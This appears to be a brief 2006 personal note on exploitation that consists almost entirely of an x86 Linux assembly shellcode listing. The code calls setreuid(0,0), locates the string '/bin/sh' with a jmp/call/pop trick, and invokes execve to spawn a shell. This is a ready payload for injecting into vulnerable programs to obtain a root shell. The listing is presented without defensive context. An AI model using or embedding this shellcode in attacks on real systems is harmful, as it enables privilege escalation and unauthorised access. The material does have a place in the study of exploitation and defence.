NENote of Exploiting


[SC] shellcode.s : 2006-11-27


.globl main

main:
    xorl   %eax,   %eax
    mov    $70,    %al
    xorl   %ebx,   %ebx
    xorl   %ecx,   %ecx
    int    $0x80
    jmp    ONE

TWO:
    popl   %ebx
    xorl   %eax,   %eax
    movl   %eax,   7(%ebx)
    mov    %ebx,   8(%ebx)
    mov    %eax,   12(%ebx)
    mov    $11,    %al
    leal   8(%ebx),   %ecx
    leal   12(%ebx),  %edx
    int    $0x80

ONE:
    call    TWO
    .string "/bin/sh"

Copyleft (C) 2007 Len. All Rights Not Reserved.